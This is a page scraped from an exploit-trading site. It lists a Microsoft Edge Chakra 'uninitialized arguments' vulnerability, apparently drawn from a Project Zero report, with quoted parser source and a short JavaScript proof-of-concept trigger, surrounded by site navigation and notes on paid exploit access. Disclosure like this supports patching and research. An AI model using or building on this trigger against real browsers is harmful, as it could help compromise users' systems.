0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Edge Chakra - Uninitialized Arguments (2) Exploit
Author
Risk
![](/img/risk/critlow_3.gif)
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1298 Similar to the issue #1297 . But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag. template<bool buildAST> void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags) { ... if (IsES6DestructuringEnabled() && IsPossiblePatternStart()) { ... // Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward. for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext) { Assert(lexNode->IsVarLetOrConst()); UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals); lexNode->sxVar.sym->SetSymbolType(STFormal); if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments) { m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam; <<------ HERE } } ... ... } PoC: --> function f() { ({a = ([arguments]) => { }} = 1); arguments.x; } f(); # 0day.today [2024-07-07] #